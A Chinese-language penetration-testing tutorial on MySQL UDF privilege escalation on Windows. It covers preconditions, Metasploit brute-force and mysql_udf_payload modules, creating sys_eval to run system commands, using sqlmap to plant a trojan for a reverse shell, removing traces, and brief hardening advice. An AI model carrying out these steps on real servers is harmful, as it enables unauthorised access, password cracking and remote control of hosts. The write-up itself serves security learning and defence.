首頁 > 軟體

Window環境下MySQL UDF提權

2023-09-06 22:16:00

前言

本文章僅記錄某次內網滲透過程中遇到的MySQL 採用UDF提權等方式進行獲取許可權,文章中內容僅用於技術交流,切勿用於非授權下滲透攻擊行為,慎重!!!

一、UDF簡介

UDF(Userdefined function)可以翻譯為使用者自定義函數,其為mysql的一個拓展介面,可以為Mysql增添一些函數,對MySQL的功能進行擴充,然後就可以在MySQL中進行使用這些函數了。

攻擊者通過編寫呼叫cmd或shell的udf.dll/udf.so檔案,並且匯入到指定的資料夾目錄下,建立一個指向udf.dll/udf.so的自定義函數,從而在資料庫中的查詢就等價於在cmd或shell中執行命令。

二、UDF提權條件

1、MySQL資料庫的Root許可權(可以通過賬號密碼遠端登入到Mysql資料庫)

2、MySQL具有寫入檔案的許可權(即Secure_file_priv的值為空,不為空時必須有寫入my.ini的許可權)

連線MySQL資料庫後,通過SQL語句show global variables like '%secure%';檢視secure_file_priv的值。

當secure_file_priv的值為NULL,表示限制mysqld不允許匯入|匯出,此時無法提權。
當secure_file_priv的值為/tmp/, 表示限制mysqld的匯入|匯出只能發生在/tmp/目錄下,此時也無法提權;
當secure_file_priv的值沒有具體值時,表示不對mysqld的匯入|匯出做限制,此時可提權。

如果secure_file_priv的值不是空,需要在MySQL/my.ini中設定secure_file_priv引數為secure_file_priv =

三、上傳動態連結庫檔案

動態連結庫就是實現共用函數庫概念的一種方式,在windows環境下字尾名為 .dll ,在Linux環境下字尾名為 .so ,我們要將該檔案放在特定的目錄中,該檔案中包含了執行系統命令的一些函數。

MySQL版本大於5.1 ,udf.dll檔案必須放置在mysql安裝目錄的libplugin資料夾下(plugin資料夾預設不存在,需要自行建立;MySQL安裝目錄可以通過select basedir() 或者select @@basedir 檢視)

MySQL版本小於5.1 ,udf.dll檔案在win2003下放置於C:Windows或者C:Windowssystem32目錄,在win2000下放置在C:Winntsystem32目錄。

四、UDF提權步驟

1、檢視secure_file_priv的值

Secure_file_priv是用來限制load dumpfile、into outfile、load_file() 函數在哪個目錄下擁有上傳或者讀取檔案的許可權。

輸入語句:show global variables like '%secure%'; ##值為空即可操作

2、檢視plugin的值

select Host,user,plugin from mysql.user where user = substring_index(user(),'@',1);

當 plugin 的值為空時不可提權
當 plugin 值為 mysql_native_password 時可通過賬戶連線提權

實際測試發現UDF提權成功與否與該值無關。

3、檢視系統構架以及plugin目錄

Show variables like '%compile%';  //檢視主機版本及架構

show variables like '%plugin%'; //檢視 plugin 目錄

MSF漏洞驗證

使用MSF搜尋關於MySQL輔助利用指令碼

search mysql

使用弱口令掃描指令碼,並檢視需要設定選項

use auxiliary/scanner/mysql/mysql_login
show options

可設定 pass_file(暴力破解字典,所在絕對路徑)在不知道密碼的情況下可使用
設定 RHOSTS (靶機IP地址)
set rhosts 192.168.x.x/24 (可批次掃描)

設定USERNAME(靶機MySQL服務使用者名稱)或者設定USER_FILE(使用者名稱字典)

方法二選一

set pass_file /top100.txt
set rhosts 192.168.x.x
set username root
run 或者 exploit 進行攻擊!!!

以上兩種方法是在未知MySQL資料庫賬密情況下進行爆破方式,具體以實際情況為主。

獲取MySQL的基礎資訊

使用模組:use auxiliary/admin/mysql/mysql_enum

set rhosts 192.168.x.x
set password root
set username root
run

獲取MySQL基礎資訊及其他存在使用者及其密碼

可使用CMD5或者john工具進行破解

接下來進行UDF提權,載入攻擊載荷

use exploit/multi/mysql/mysql_udf_payload
set rhosts 192.168.*.*
set password root

在MySQL中執行SQL語句,檢視上傳的DLL檔名

select * from mysql.func;

執行命令 select sys_exec("whoami");

如果返回結果為 0 就代表成功,返回1代表失敗。

通過之前MSF生成的DLL檔案建立sys_eval()函數,使執行的命令存在回顯。

create function sys_eval returns string soname "****.dll";

再次執行命令 select sys_eval("whoami");

可使用攻擊載荷 use auxiliary/admin/mysql/mysql_sql 進行後續其他命令操作

五、UDF提權反彈Shell

當UDF提權後,我們想反彈一個MSF或者CS的shell,首先呢使用CS的PowerShell反彈命令是不行的,這裡由於powershell命令引號過多,不能執行。

那麼現在的思路就是執行木馬檔案,反彈Shell,這裡由於sys_eval函數不能執行Windows那些遠端下載命令,所以我們選擇通過sqlmap的寫入檔案功能,將木馬寫入當前目錄。

首先,檢視當前目錄

然後sqlmap寫入木馬,這裡也是可以進行遠端下載的;

命令:sqlmap -u "http://192.168.x.x?id=1" --file-write msf.exe --file-est "C:phpStudyPHPTutorialMySQLdata*.exe"

執行木馬反彈,這裡需要注意的是,sys_eval函數只能執行當前目錄下的檔案,所以,也只能把檔案寫入當前路徑下。

六、清理痕跡

命令:drop function sys_eval; drop function sys_exec;

七、修復建議

1、mysql組態檔中 secure_file_priv 項設定為NULL或非 mysql/lib/plugin目錄。

2、控制目錄存取許可權,例如控制/lib/pluginsystem32/wbem/mof等目錄需要管理員許可權存取或者設定為唯讀許可權。

3、資料庫使用者確保正確實施最小許可權原則

到此這篇關於Window環境下MySQL UDF提權的文章就介紹到這了,更多相關MySQL UDF提權內容請搜尋it145.com以前的文章或繼續瀏覽下面的相關文章希望大家以後多多支援it145.com!


IT145.com E-mail:sddin#qq.com